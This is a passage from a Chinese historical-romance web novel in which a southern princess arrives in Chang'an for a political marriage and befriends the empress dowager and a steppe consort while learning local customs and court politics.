拔都好像听懂了,咧开嘴一笑,两腿一夹马肚,又跳到了队伍前面,拖着声音,唱起了她听不懂的歌。将士们也跟着他的调子,声音拖得长长的,跟着拍子,一步一步,走进了长安。
第40章
前梁灭国时,长安的宫城被羌人一把火几乎夷为平地。后来羌人自己住了进来,修修补补,再不复当年复殿崇崇,阁道玲珑,更找不到雕甍绣槛,云楣承空。
明绰被领进段太后所居的长霄殿时,第一个想法竟然是庆幸她把萧盈给她配的那么些个婢女侍从都留在了风陵渡口。若是太后的居所也只有这样这样大小,皇后的寝宫也不会大到哪里去,那她带的那些人都不知道要往哪里安置。进来了以后,倒也不差什么,外间翠帷流苏,云母屏风,水精帘幕,该有的都有,只是究竟地方小,东西一多就更显得挤。
长霄殿里掌事的宫人瞧着鼻高眼深,也是乌兰人,但是一口汉话比拔都要好一些,对着她笑道:“请坐,大可敦出去了,速速回来。”
明绰眨眨眼:“什么?”
梁芸姑在她耳畔轻声提醒:“大可敦就是太后。”
明绰想起来了,这个词她路上学过来着。她照着回忆里拔都说过的话发了个音,想说她明白了,却引得那宫人笑起来。
“我对库尊,说,这个。”她把明绰刚才学的那个音又发了一遍,“库尊对我不说。”
“库尊……?”明绰只能又眨眨眼。
就在这时候,一个四五岁大的小女孩闯了进来,整个人玉雪似的一团,脸上看不大出是汉人还是乌兰人。还走不稳当,被门槛绊了一跤。跟在她身后的西海女子急忙把她抱起来,叽里咕噜地讲了一串话。那小女孩儿倒也不哭闹,手里抓着一个已经玩得脏兮兮的布偶,还往嘴里送。一双眼睛滴溜溜转的,盯着房间里陌生的两个女人看。
那牵着孩子的女人看起来像是她的母亲,身上穿的戴的都更华贵些。她同长霄殿掌事的宫人又说了两句,明显在谈论这个小女孩儿,明绰又一次听到了“库尊”这个词。
“啊,我知道了!”明绰压低了声音,拉了拉梁芸姑的衣角,小声跟她说,“库尊肯定是公主的意思。”
那小女孩儿听见了,把布偶从嘴里放出来,口齿清晰地对明绰说了一句汉话:“你是谁?”
明绰惊喜地“啊”了一声,这孩子的汉话并无乌兰人的怪腔怪调,让她顿时生出亲近之意。她忍不住蹲下来,跟小女孩儿视线平齐,笑着逗她:“那你又是谁呀?”
她抬头看了看母亲,那乌兰女子朝明绰温柔地笑了笑,脸微微红了,不好意思说话。于是小女孩就乖乖地报上名来:“我是云屏。”
“云屏是谁呀?”
“云屏是大可汗的女儿。”
“所以你叫乌兰云屏?”
但她又摇了摇头,缩到了母亲腿后面,戒备地看着她。不姓乌兰?明绰轻轻皱起眉,可她不是乌兰徵的女儿吗?
殿外突然传来了一个声音:“这是云屏公主,乌兰辉。”
听到这个声音,小云屏立刻撒开丫子跑出去,口中叫了一个词,小孩子口齿不清,听不出是汉话还是西海语,嘹亮得像一只雏鸟从胸腔里发出来的啾鸣,然后毫无保留地把自己投到了殿外那个女子的怀中。
明绰也跟出来,只见来人穿了汉人的服饰,但下裳改了,裙裾往上收,露出一
双皮制的翘头靴子,想是为了骑马方便,为她平添几许英气。梳的也是乌兰女子的辫子,额际和发间都饰以珊瑚串珠,衬托得她明艳动人。她容貌上已十分过人,明绰看着她抱着小女孩儿转了一圈,整个人更有一股说不出的灵动跳脱,像一朵花突然在眼前绽开,比单纯容貌上的美更夺目。在身边的人纷纷行礼之前,明绰已经猜到了这是谁。她知道段太后今年不过也才二十来岁,但眼前这个女子的年轻还是让她有些不敢确认她的身份。
段知妘一把就把小云屏抱了起来,让她侧过来托在自己的臂弯上,清理出了眼前的视线,笑着,上上下下把眼前的人打量了一圈。
明绰这才反应过来:“东乡见过太后。”
她行的还是大雍的屈膝礼,段知妘笑了一声,也不先叫她起来,反而转了一圈,让身边的人都来看看。
“教了你们多少次了,这才叫行礼,看见了吗?”
她的语气很明显是在开玩笑,身边的宫人们都“咯咯”地笑,谁也没当真。明绰倒是有些窘住,一时竟不知道该不该起来。段知妘这才把乌兰辉放下,走过来在她手掌下往上一扶,让她起来。明绰直起身,段知妘的手便顺势抬上来,一根手指抬起了她的下巴,好好地看了看她的脸。
“真是个美人。”段知妘轻轻咂舌,“难怪你皇兄这样舍不得你。”
明绰被她说得面上一红,竟不知道她只是开玩笑还是意有所指。见她脸红,段知妘便放开了她的下巴,只道:“等可汗回来,见到你一定很高兴。”
明绰:“……”
乌兰徵不在长安吗?
段知妘抬脚往殿内走,似是知道她心里想问什么似的:“兀臧部虽平定,西海还是不太平。可汗在那里,能镇住很多人——不过他知道你来了,就快回来了。”
明绰心里惊了一下,难道乌兰徵登基这三年来几乎都是在西海度过的?
段知妘回过头,察觉到她神色惊讶,顿了顿:“怎么了?”
明绰控制了一下自己的表情:“没什么。”
那么就是说,这三年来,长安都是段太后掌权。
段知妘挑起了眉,意味深长地看着她。荆州军是对抗大燕的主力,凡有异动,长安都会加倍警惕。去年突然听说大批人马调动,往东去了,不久后又传出谢后薨逝的消息,段知妘心里也就猜得七七八八了。萧盈的身世是建康朝廷机密,还不至于传到长安来,不过至尊权力的争夺,弄到兄弟操戈,母子相残,也没什么好奇怪的。
就是不知道大雍这位公主,又是个怎样的角色。
两人突然之间没了话,宫人们大多汉话不好,根本没在听,低着头给他们上茶。只有云屏公主坐在段知妘身边,看看太后,又看看明绰,找着了机会,突然响亮地问明绰:“你也是库尊吗?”
段知妘搂住了小女孩儿回答她:“是啊,她是南边雍国的库尊,也是大燕以后的可敦。”
乌兰辉仰起脸:“库尊长大以后都会变成可敦吗?”
明绰没忍住笑了,段知妘也笑得很厉害,捏了捏她的脸,就让孩子的母亲过来把她抱走了。明绰没忍住多看了那西海女子两眼,她看起来容色平平,不像是能多少得宠的样貌。西海人不像汉人一样讲究及笄及冠才成人,男女十岁便婚嫁是稀松平常。明绰已经做好了乌兰徵后宫里会有别的女人的心理准备,但她没听说乌兰徵已经有了孩子。
“太后,”明绰斟酌着问,“云屏公主可有兄弟姐妹?”
段知妘莫名其妙地看了她一眼,天经地义的口吻:“有啊。”
明绰咬了咬下唇,听见梁芸姑在她身后发出了一声格外粗重的呼吸,大为不满。在大雍,若尚无正妻就与妾室婢女生下孩子,那是很丢丑的事情,世家大族里若是有这样的儿郎,是不会还有门第相当的女子愿意嫁过去的。
段知妘好像明白了什么,撑着腮看着她,含笑道:“她是七个兄弟姐妹里年纪最小的。”
明绰实在没控制住:“啊?”
要是只有这么一个小公主,她倒是也不那么介意,可是七个……乌兰徵到底有多少女人!
段知妘仰头哈哈地笑起来,乌兰辉也不知道她笑什么,从那西海女子的怀里挣脱出来,又来抱住了段知妘的腿。这次明绰听清楚了,她称呼段知妘为“额珂”。
“这是阿娘的意思。”段知妘重新把女儿抱起来,还笑个不停,“她是我和乌兰郁弗的女儿。”
明绰恍然大悟,微微红了脸:“可是她说……她是可汗的女儿……”
段知妘故意把脸一拉,一副要问责的样子:“你骗人了吗?”
“我没有!”乌兰辉大声反驳,“我说我是大可汗的女儿!”
段知妘笑得更厉害了,明绰简直无地自容,也不用问“大可汗”和“可汗”有什么区别了。她侧着脸,佯作喝茶,其实抬起袖子,想遮一遮自己的脸。
“你呀,在可汗回来之前还是学一学乌兰语吧。”段知妘笑够了,让女儿坐在怀里。
明绰放下茶:“东乡已在学西海语——”
段知妘嗤笑了一声:“这世上哪有什么西海语?”
明绰又愣住了。
段知妘笑道:“西海有多大你可知道?乌兰部有乌兰语,兀臧部有兀臧语,何止是十八部?隔了块草甸子便彼此不通了……”
明绰猛地提了一口气上来,又咬住了自己的下唇。段知妘看了看她,突然发现这东乡公主虽是从朝堂的权谋诡计里走出来,倒是可爱得很,不禁逗,嘴一瘪,我见犹怜的。
“但只要学会了一门,大体上差不多。”段知妘收敛了一下脸上的笑意,不吓唬她了,“大可汗在的时候就下令各部都要学汉话,只是这些个蠢东西……”她伸出手指,恨铁不成钢地在绕着她服侍的人身上指了指,假装咬牙切齿,但是身边的侍女们看来跟她关系很好,也不害怕,还厚着脸皮笑。
“我听说你这一趟带了很多书来。”段知妘搂着女儿,让她在膝上不要乱动,又对明绰笑了笑。
“是,”明绰点了点头,“经史子集,释道玄经,农耕水利,药学医术……建康有的,东乡都带来了。”
这些书都是萧盈下令满朝文武去搜罗了来进献,又亲自挑选的。那时候她还沉浸在丧母的痛苦里,根本不想过问。此刻想起来,心里突然泛起一股说不出的滋味。
“好!”段知妘眼睛一亮,“羌人烧杀劫掠这么多年,汉人的传承都断代了。你这些书来得太好了!”
她把女儿放下,站起来亲热地拉明绰的手:“走,看看去!”
明绰又是一愣,那可是满满十大箱子,还不知道能搁哪儿,所以都在宫门边上堆着。这就去看,要看到什么时候去?可是段知妘已经不由分说地拉了她起来,高高兴兴地往外走,一边跟她说话。
“朝中汉臣不多,明日我都召进宫来,你也见见。这些书呢,给他们分一分,让他们好好整理整理,”段知妘语速很快,步子迈得也快,明绰不得不加快步子跟上她,“可汗要西海十八部都学汉人教化,但这些胡人顽固得很,你可不知我有多头疼!这下好了,等可汗回来,便可以在朝中开汉学。”
明绰闻言心中微动,看着身边的年轻女子一身汉不汉、胡不胡的打扮。段知妘察觉到她的目光,颇为狡黠地一笑,露出了颊边一个酒窝。
“我知道你在想什么,羌人是胡,乌兰人也是胡,对吧?”
明绰摇了摇头,轻声道:“我明白。”
段知妘重新打量了她两眼,突然伸出手,再一次牵住了她的手。她的掌心干燥,温暖,能摸到弓马留下的硬茧。
“你们萧姓祖上出自雍州陇西,所以立国为雍,为的
就是有一天能赶走这些蛮夷,重回故土。”段知妘笑了笑,“可是蛮夷是打不走的。”
段氏几代人顽强抵抗了这么多年,流了无数的鲜血,付出了城破人亡的代价才明白了这个道理。他们对抗的不是胡人,而是时间。他们想要的胜利早已和前梁一起随江东逝,没有人能够抵挡时间的洪流。
“这里就是我们的家园。”段知妘手上微微用力,“所以我向大雍求娶你。你终于来了。”魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m
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第41章
段知妘说让明绰先见见汉官,第二日就将人都召了来,果然是两只手就数完了,其中超过一半还是在雍州时就效忠于段氏的世家。明绰与这些汉官们谈了几日,倒有一大半时间是在梳理各个世家之间的关系。
陇西萧氏当年乃是雍州第一大族,这一点明绰知道。羌人灭梁,随前梁皇室南渡的萧姓为一支,被他们称为“南萧”,被战火所隔的本家则为“北萧”。后来南萧遇水化龙,如今已成南国皇室,北萧却险些被羌人屠戮殆尽,不得不依附于雍州段氏。以至于到明绰这一代,根本就不知道还有“南北萧”这样的说法了。
不过北萧后人仍在,名唤萧典,官还大得很,总领尚书台。只是明绰很快就发现,此尚书非彼尚书。
长安的官制和建康基本一致,有些地方做了一些无伤大雅的精简,但除此之外,他们还融合了乌兰原本的旧俗,各部自治,各有大首领、部落王等职。而实际上朝中真正掌实权的,也全都是西海人。前梁时就已裁撤的“丞相”一职,大燕倒是又捡了回来。当今丞相名为齐木格,意料之中是个乌兰人,而且是个不太喜欢汉人的乌兰人。
其实乌兰郁弗很有远见,在西海人都只想着来汉人这里烧杀劫掠一番就回老家去的时候,他第一个提出定都汉人的旧王庭,与汉人合作。他娶汉女,任汉官,在朝中推行汉人的教化——不得不说,他一死,西海十八部就四分五裂,也是因为他这一套失了民心。
乌兰徵自小接受汉人的教育,愿意沿用父亲的这一套,只是他登基之后根本就还没腾得出手。他不在长安,汉官就更势单力薄,若不是还有太后在,恐怕早就都被齐木格逼回家了。
举步维艰啊。一谈起来,便只闻哀叹一片。
“北地的世家呢?”明绰问了一句。北地的世家也没有全部被羌人赶尽杀绝,她听到太父提起过,“京兆有杜氏,天水有姜氏,河东有杨氏和郑氏……”
可是萧典只有一声更无奈的叹息。
在“戎狄乘衅,豺狼竞驰”的年月里,这些没能走脱的北方世家们都各自缩回了老家,和段氏一样,招民兵,编军队,只是旁人皆无段氏的血性,眼见着打不过,也就罢了。今日羌人来,就降羌人;明日渠搜人来,也是一样。反正就是给钱,给人,能撑一年是一年,能撑一代是一代。如今大燕立国,他们也只冷眼旁观,长安城里你方唱罢我登场,谁也长久不了。
明绰一听就明白了,这些世家不仅不会来相帮,恐怕还成了地方豪强,是长安的肘腋之患。等到各部叛乱这种大的问题解决了,这些小问题就要浮出来了。
段知妘倒是面色如常,好像没觉得这些事儿是个事儿。
“自古都是创业易,守业难。”她语气淡淡的,“大燕初立,这些事情在所难免。等陛下回来了就好。”
明绰注意到她在汉官们面前就改口称了“陛下”。
梁芸姑沉默地起身,把煮好的茶列在托盘上端了过来。明绰跪坐着,亲自给汉官们一一奉茶。众人都躬身接过,连声称谢,萧典更是已经直接称她为“皇后”。明绰只好笑笑,提醒他:“还未行册封呢。”
萧典摆了摆手,那意思,好像就是走个过场罢了。段知妘也笑,眼神是同一个意思。明绰看了看周围汉臣们的神色,看她都是满脸的希望,就等着这个汉人皇后来改变朝中的格局了。
明绰面上不动声色,暗地里跟梁芸姑说,恐怕乌兰人不会喜欢她这个皇后。
“真是好大一个烂摊子。”明绰对着镜子,已经在发愁。
梁芸姑给她解头上的钗,不由笑了起来:“这就替夫君愁上了?”
“我哪是……?”明绰从镜子里瞪她,“我是替自己愁!你没看见这后宫里,乌泱泱的全是西海女人……”
梁芸姑开解她:“段太后不是说了么?这都是各部献来的女人,乌兰国主都不在长安,又没见过的。等他见到了长公主,眼里就不会有别人了。”
“可汗。”明绰突然说。
梁芸姑:“嗯?”
明绰叹气:“称他可汗。快别叫‘乌兰国主’,让人听见!”
这是他们大雍国书上的叫法,因为乌兰郁弗曾受建康的封,做过大雍的“长安王”,他们至今把大燕当属国——其实建康上下没人真的敢轻视大燕,但嘴上偏要占这个便宜。
梁芸姑闻言便瞥了一眼镜子边放的一碗咸马奶。要说谁会听见,也就是偏殿的叱云氏了。宫里地方小,女人多,连皇后也得跟人一起挤挤住。段太后选了叱云氏,因她年纪跟明绰相近,汉话又是讲得最好的。梁芸姑想法子去打听了来,说乌兰徵没出征西海的时候,最喜欢的就是这个叱云额雅。明绰不好讲什么,梁芸姑也只能私底下埋怨段太后两句。想是她为人大大咧咧的,没想到这一层,哪有让新妇跟旧人挤一起的道理?谁心里能舒服?
可是住过来几天了,倒没有什么龃龉,叱云额雅对待明绰热情得很。若说乌兰徵这后宫里从太后和嫔妃都是这么一水儿的良善人,梁芸姑是不信的。怕的是叱云额雅面善心毒,所以她送来的咸马奶根本不碰,上面已经结了一层奶膜,看起来都有点儿像酥酪了。
梁芸姑想到这一层就又想叹气,不知道谢太后泉下有知,会作何感想。
明绰听她叹气,自己也叹气。两人长吁短叹,此起彼伏,在镜中一对视,反而都笑了起来。
“长公主也别愁,”梁芸姑在篦子上沾了油,把她的长发一梳到底,“段太后还是疼你的。”
明绰想了想,不由皱了皱鼻子:“朝中的乌兰人肯定更不喜欢她,但我瞧着她每天还是高高兴兴的,这心气,当真不是一般人。”
梁芸姑:“因为她手里有兵。”
明绰“哦”了一声,对,忘了这茬了。
“那我什么也没有啊?”明绰把手一摊,低头看了看,两手空空。
梁芸姑把她长发的最后一截托在手心抹油,闻言笑了起来,觉得她话说得可爱极了。
“段太后手里不过几万兵马,长公主背后可是整个大雍。”
明绰从镜中看了她一眼,发出了一声意味不明的“哼”,没说什么。
不错,建康是她的倚仗。可是雍州军大营离长安只有半日路程,她的倚仗却已在千山万水之外。
明绰的长发已经梳完了,黑瀑似的从肩上垂下,润得发亮,浸着淡淡的花香。她坐在镜前,但也无心看镜子里的自己,托着腮,又道:“不知道乌兰徵是个什么样的人。”
这个问题她每晚都要问一遍,梁芸姑也每晚都回答她一句:“应当是不错的。”
明绰又意味不明地哼唧一声。到现在她还没有听到谁说乌兰徵不好,骁勇善战,少年英雄,她听得耳朵都要起茧子了。连谢维这不相干的都要夸他两句,段太后和那些汉官们就更别说了,三句不离“等陛下回来就好了”。
可是这些话都好空,她还是想象不出来乌兰徵是个什么样的人。
明绰并不指望爱上他,做出这个选择的时候她已经明白这是一场联姻,一场和亲,唯独和感情无关。还没有见到夫君,皇后的责任已经沉甸甸地压在了肩头。
可是既然已经承担了这样的责任,总不能还要和他相看两厌吧?
她托着腮胡乱琢磨,梁芸姑去给她整理床铺,房门就在这个时候被人敲了敲,叱云额雅的声音在外面响了起来:“明绰?”
梁芸姑一下子直起身。她们第一天见面的时候叱云额雅问了明绰的名字,然后就真的直呼其名了。梁芸姑当时脸一下就拉了下来,那蛮夷女子也没感觉到哪里不对。明绰只好
朝她使个眼色,意思是别计较这些了,自己去开了门。
叱云额雅站在门外,一打开门就朝她笑。手里抱了一个花样繁复的银壶,献宝似的举起来给她看。
“这什么?”明绰没忍住好奇。
叱云额雅也不等她请,直接往前一步进了房间,本是要进去的,经过明绰身边又停住了脚,凑上来在明绰发间嗅了嗅:“好香!是什么!”
明绰被她的动作惊了一下,本能地往后一仰:“发……发油。”
“发油我也有,”叱云额雅拈起她一截发尾,直接凑到鼻子下面,嗅个没完,“我的不香。”
“呃……”明绰被她打得措手不及,只好道,“那,芸姑,你去拿一点发油,给叱云姐姐拿回去用。”
叱云额雅马上笑了:“谢谢你!”
梁芸姑也没说什么,只暗地里给明绰使了个眼色。明绰也回过去一个息事宁人的眼神,意思是算了。
自打进了长安,梁芸姑跟变了个人似的,看谁都要害她。明绰让她说得也对叱云额雅起过疑,但人家笑盈盈地来了,也不能冷脸得罪她去。凡是她从建康带来的东西,吃的用的,叱云额雅没见过,明绰都很大方地分给她用,所以叱云额雅更爱来了。
明绰跟过去坐在了叱云额雅对面,看着她把那银壶往桌上一放,一打开,又是一股奶腥味飘出来。明绰赶紧心虚地往镜子旁看,发现梁芸姑趁着拿发油的功夫已经把她没喝的咸马奶端走了。叱云额雅什么都没发现,得意洋洋地给她倒了一碗,睁着大眼睛看着她。
明绰:“这什么?”
叱云额雅:“你先喝了我再告诉你。”
明绰的眉毛高高扬起来,只好接过来,很戒备地抿了一小口。果然还是马奶,但是不那么咸了,只是腥气重些。她忍耐了一下,又道:“这下能说了吧?”
叱云额雅笑得眉眼都弯起来:“我加了你给我的茶。”
明绰以为自己听错了:“什么?”
叱云额雅:“你昨日给我的茶呀!那东西加了水一点味道都没有,还是加在奶里一起煮了好喝一些。”
明绰:“……”
那可是在建康卖得比黄金还贵的吴茶。她放在腥味这么大的马奶里,煮了?!
她低头看了看碗里的奶……茶,一时之间真不知道该哭还是该笑。但叱云额雅还看着她,明绰深吸了一口气,又喝了一口。不知道是不是因为知道里面有吴茶的关系,第二口倒是让她品出了不同的风味。明绰舔舔嘴唇,心想也好,总比撒那么多盐好入口。
叱云额雅给自己也倒了一碗:“你今天总算回来得早,我一直等你,等得奶都凉了,只好重新煮。”
明绰:“你等我做什么?”
“跟你说话呀!”叱云额雅一脸的天经地义,“大可敦说了,要我好好照顾你。你离家太远了,会不开心的。我刚到长安的时候也不开心。”
明绰已经听段太后说过,叱云部是西海的一个小部落,兵马不壮,乌兰郁弗打天下的十八部里都没有他们,为表臣服之心才把掌上明珠献给了乌兰部。
眼下听到叱云额雅这样说,明绰心里一软,轻声问她:“你几岁嫁来的?”
叱云额雅想了想:“十一岁吧。”
明绰心里一惊,叱云额雅今年已经十九岁了,八年前,别说大燕,乌兰甚至还没有灭羌。
“你那时就嫁给可汗了?”
叱云额雅摇了摇头:“没有啊,我嫁给了大可汗。”
明绰本来正喝奶茶,顿时呛了个惊天动地。叱云额雅让她吓了一跳,赶紧给给她递了块帕子。明绰剧烈咳嗽,一边还要挣扎着跟她确认:“大可汗?乌兰……咳咳,乌兰郁弗?”
叱云额雅点了点头:“对呀。”
“可你不是……”明绰的声音越来越小,“你不是乌兰徵的嫔妃么?”
叱云额雅眨眨眼:“嫔妃是什么?”
“就是,”明绰舌头都要打结了,她又忘了,乌兰人没有嫔妃的概念,“就是乌兰徵的女人!”
“是啊,”叱云额雅还是不明白她在大惊小怪什么,“大可汗死了,我就是可汗的女人了。”
明绰:“……”
她到底听到了什么?
叱云额雅看了看她的神情,后知后觉地“哦”了一声,明白她在惊讶什么了。
“可是大可汗走的时候我才十六岁,”叱云额雅托着腮,一脸天经地义,“要是不嫁给可汗,那不是很……”她说了个明绰听不懂的词,然后又绞尽脑汁想了想,突然福至心灵地来了一句,“暴殄天物!”
尽管很不是时候,明绰还是没忍住笑出了声。但她明白叱云额雅的意思了,乌兰郁弗虽然死了,但是乌兰部和叱云部的政治联盟没有瓦解,她还是要承担她的责任。
“那……”明绰心里突然想到一个让她头皮发麻的可能性,“可汗要是死了,他所有的女人都要嫁给新可汗吗?可敦也是?”
叱云额雅想了想:“若是继子,自然是不用的,若是弟弟、侄子之类的继了位,她的阿耶又要向新的可汗效忠,那多半也会再嫁。”
明绰一颗心狠狠揪住,一时脸都白了。
叱云额雅又道:“但是大可敦说这个旧制‘有悖人伦’,要废了这条。那时候跟丞相吵得好厉害,可汗也没办法,就按照汉人的规矩封了她太后,也不强要娶大可汗的女人,只有自己愿意的他才娶了。”
明绰心中顿时涌上一股心疼,什么叫“自己愿意”?肩负着家族责任的女人,在这种事情上真的能谈“自己愿意”么?
她不由抓紧了叱云额雅的手,轻声道:“委屈你了。”
叱云额雅连连摇头,额间的珊瑚坠子跟着晃,映着屋里的烛光,好看极了。
“不委屈呀,可汗比大可汗更……”叱云额雅突然笑了笑,捂住了嘴,又不说了。
明绰一愣:“更什么?”
叱云额雅把手放下,看她的表情就是在努力找词。明绰等了一会儿,几乎心焦起来。她竟然之前一直都没有想到,想问乌兰徵是个什么样的人,其实应该问叱云额雅。
叱云额雅找到词了,笃定道:“会疼人。”
明绰有些意外地拖长声音“哦”了一声。乌兰徵竟是个体贴的,这倒也不坏。
“他很温柔吗?”
叱云额雅看着她:“汪肉?”
“温柔,”明绰纠正了一下她的发音,又解释道,“就是……说话不大声,慢慢的,轻轻的……”
叱云额雅笑了:“他不怎么说话。”
明绰又想了想,换了个解释的方式:“兔子是温柔的,猫也是温柔的,他像兔子和猫么?”
叱云额雅笑得更厉害了,连连摇头:“他像狼。”
明绰让她说糊涂了,可是叱云额雅一直笑,她也只好跟着笑,一面追问:“为什么?”
叱云额雅只是笑个不停,梁芸姑正好拿了头油回来,看见她们俩笑成一团,忍不住问了一句:“说什么呢?”
叱云额雅看见她进来了,稍微收敛了一点,轻轻贴到了明绰耳边,明绰也凑过去,听她好好说说乌兰徵为什么像狼。
“可汗喜欢把你扑在下面,还喜欢咬你的脖子,”叱云额雅压低了声音,温热的气息里还带着马奶的味道,拂到明绰耳朵上,“像狼一样。”
梁芸姑正背着身把新取来的头油装起来,突然听到“当啷”一声响。连忙回过头去,只见半碗奶茶让明绰拂倒在了地上,她手忙脚乱地要去捡,脸红成了一片,简直连耳朵都要一起烧起来。
“怎么了?”梁芸姑赶紧过来。
“没事没事,”明绰脸红得更厉害,让她下去。叱云额雅已经笑得
眼泪都淌下来了,叽里咕噜地又说了什么,还是压低了声音。等叱云额雅说完,明绰的脸竟然更红了,打了她一下:“你怎么这样讨厌!”
“你自己要问的。”
“谁问你这个了!”明绰急得又打她,“你太坏了!”
梁芸姑无声地退了两步,回到了妆奁前,听见身后还传来女孩子们清脆的笑声。她原本取了一个小瓶来给叱云额雅装些头油,想了想,突然又把那小瓶子里的一点儿倒了回去,把整个大瓶子封好了口,一起给了叱云额雅。
第42章
明绰不知道西海离长安到底有多远,一转眼已经来了两个月了,乌兰徵还是没有回来。
到这个时候,宫里的女人明绰已经都都认得了。她倒并非是唯一的汉人,当时乌兰郁弗东进破陈,陈氏“皇亲”们投降以后,乌兰郁弗给了优待,在长安封陈王为辽阳侯。如今乌兰徵的后宫里就有陈姓、连姓和高姓三位女子,都是辽阳侯所献,乌兰徵一律按照汉人的习惯封了夫人。她们三个是表姊妹,所以一向抱成一团,不怎么和别的西海女子来往。但是明绰来了,她们也始终不肯主动来见,偶然宫里遇上了,陈夫人扭头就走,倒像是明绰得罪了她一般。
叱云额雅听了便笑,说陈夫人觉得自己当年也是公主,必是能做乌兰徵的皇后。可是大雍的公主,自然是要比她这亡了国的公主更尊贵,她可不难受死了?
其余出身西海的妃嫔大多汉话不好,两个月下来,明绰还是只和叱云额雅形影不离,连段太后都没忍住说了一嘴,觉得明绰不该只顾姐妹玩乐,该多去跟汉官们联络。可是那些汉官们每天就是聚在一块儿整理编纂明绰带来的那些书,她去了也只有干坐着,实在是没什么意思。明绰便说,跟着叱云额雅学乌兰语呢。那日她顶了西海女子的编发,戴的首饰也都是叱云额雅的,段太后看了看她这模样,也就笑笑,再不管她了。
她被叱云额雅打扮成了西海女子的样子,便也把叱云额雅打扮成汉人女子。那些从建康带来的素白铅粉、花钿鹅黄可算是派上了用场。两人每天光是玩这个就能玩上大半天,一面叽叽咕咕的,什么话都说。
叱云额雅说,乌兰徵喜欢汉人的剑术。西海一直缺铁,他们打出来的长剑易折,不利于马上作战,可是乌兰徵偏偏喜欢剑术的庄严和优雅,收集了天下名剑,摆了一屋子。
叱云额雅还说,乌兰徵睡觉很奇怪。打仗的时候,他可以连着好几天不睡也不见疲态,但若无事,他也可以一睡就睡上七八个时辰,怎么都不醒。
叱云额雅又说,乌兰徵其实脾气很好。他平常凶巴巴的,但大可敦的话他会听,丞相的话他也会听,有时候他们吵得太厉害,都不让他说话,把他气得躲起来偷偷掉眼泪。
明绰听着听着,终于感觉能想象一点自己的夫君是个什么样子的人了。好像画上的一片影子,在叱云额雅的一字一句里被填上了血肉,活了过来。但她又觉得难过起来,因这血肉里都是叱云额雅对他的爱意。
“我当然爱他了。”叱云额雅听笑了,“他是我的丈夫呀!”
明绰只是摇摇头,她不觉得人就一定要爱自己的丈夫。
“大可汗以前也是你的丈夫,你爱大可汗吗?”
叱云额雅一皱鼻子,心虚地笑了起来。她颊上贴了花黄,没贴好,一动就掉。明绰把她的脸转过来,倾身过去给她贴好。叱云额雅动也不动,又道:“大可汗也是英雄,我敬他如敬我的阿耶。若他年轻一些,我也是喜欢的。”
“那你只是喜欢英雄,不是喜欢丈夫。”
叱云额雅却道:“不,我是喜欢可汗。”
明绰便叹了口气,跪坐回去,直视着她的眼睛:“那你不讨厌我么?”
叱云额雅想也没想就摇了摇头:“你很好,我喜欢你!”
“但我是来抢你丈夫的呀。”
“可汗总是要有别的女人的。”
明绰闻言便笑了起来:“那我还是不要喜欢他来得好。”
“为什么?”叱云额雅睁大了眼睛,又强调了一句,“他很英俊的!”
明绰哭笑不得:“我知道他很英俊啦!”
她把叱云额雅转过去,给她把长发梳开。她的头发天生又卷又粗硬,常年都编在一起,要梳汉人的发髻着实为难,但明绰很有耐心。
“可你看到他跟别的女人在一起,不会难过吗?”
叱云额雅想了很久才轻声道:“会。”然后她又换了个语气,很想得开,“但是他又不回来,这里全是‘别的女人’。谁知道他在西海还有没有‘别的女人’。我今天讨厌这个,明天讨厌那个,会变难看的……”
她转过来:“陈夫人就很难看!”
明绰一时忍俊不禁,但笑了两声,又低了头,轻声道:“额雅,我真不想抢你的丈夫。”
叱云额雅突然转回来,很认真地看着她:“可我们是好朋友啊,你什么都愿意分给我,我当然也什么都愿意分给你!”
“他又不是脂粉和头油,”明绰苦笑,“这也能分吗?”
叱云额雅皱着眉看她,一脸“这有什么不能分的”。明绰又让她转回去,继续给她梳头,听见叱云额雅问她:“除了你额珂,你阿耶就没有别的女人吗?”
明绰笑了一声:“还真没有。”
她父皇死得太早,还来不及有——不过现在有了,萧盈追封保太夫人为生母,说怀帝曾宠幸过她。欺负死人喊不了冤。
叱云额雅大为惊叹,突然又带了近乎夸耀的口吻道:“我阿耶有十五个女人!”
明绰也“哇”一声:“这么多?他喜欢得过来吗?”
那肯定是喜欢不过来,这些女人也仅仅只是受宠一阵子,便被冷落了。
“但阿耶不喜欢她们了,她们就也去找别的男人了。”
“你阿耶不生气?”
“不知道就不会生气了。”叱云额雅耸耸肩,“而且他也不能生气,他是我们的俟骆,别人不好跟他动手。赢了被人笑话,输了更被人笑话,何必呢。若是那女子铁了心要走,告诉了阿耶,我阿耶就给一些她牛羊和钱,让她去跟新的男人过日子。”
明绰笑出声来。她听叱云额雅讲了许多西海的事情,如今已没这样惊讶了。那里民风旷达,就算是成了婚的夫妻,若是感情不睦,那就一拍两散,各自再去寻相好的,大家都习以为常,不会引为丑事。若是做丈夫的吃了醋,便去找情夫比武决斗,杀死了人也不会被惩处,反而会被称赞勇武,说不定妻子还会回心转意。
叱云额雅晃了晃头,突然道:“要是可汗回来了,喜欢你,不再喜欢我,那我也去找别的男人!”
“可汗也不会生气吗?”
“他都不喜欢我了,还生什么气?”
明绰把她的头发挽起来:“男子都会生气的,他们自己有多少个女人都不管,妻子去找别的人,他们就要生气。在大雍,你若是嫁了人,就只能一辈子守着这一个男人,感情好也罢,不好也罢,他就是纳了一群妾室回来,做妻子的也不能出去找别人,否则便要被杖刑。”
叱云额雅皱起眉头:“好没道理!”
“这是大雍律,婚外不许通奸。”叱云额雅刚才动作大了些,刚成型的发髻一下子散了形状,明绰只好从头来过,“虽说这条也管男人,但总归是女人被罚得更重些。男人若是有些手段和本事,把那女人娶回去,哪怕是纳个妾,就可以免于杖责。有些男人就会有意勾引未婚女子苟且,女子为了摆脱通奸之罪,往往不得不嫁,礼金都不敢要……”
“还有这样的事?”叱云额雅一拍梳妆台,发髻又散了,“不就是一顿板子吗?有什么好怕的!怎么能让这种男人得逞!”
“不只是一顿板子,”明绰在她肩上轻轻一摁,让她别急,“女人若认下了这罪名,就要被所有人指指点点,说她是个坏女人,以后也没办法嫁人了。民间如此,宫里就更不许有秽乱之事。别说是皇帝的女人,就是宫女敢私自找别的男人,也是要杀头的。”
叱云额雅倒吸一口冷气,从镜中朝明绰看了一眼,
一句话清清楚楚写在眼睛里,但没敢问得出口——这就是大可敦要在宫里推行的汉人教化?
“不会的,大可敦自己也有别的男人啊。”叱云额雅安慰自己似的,挑出她想要的簪子递给明绰,明绰惊得“啊?”一声,下意识接了过来,却不知道往哪里插。
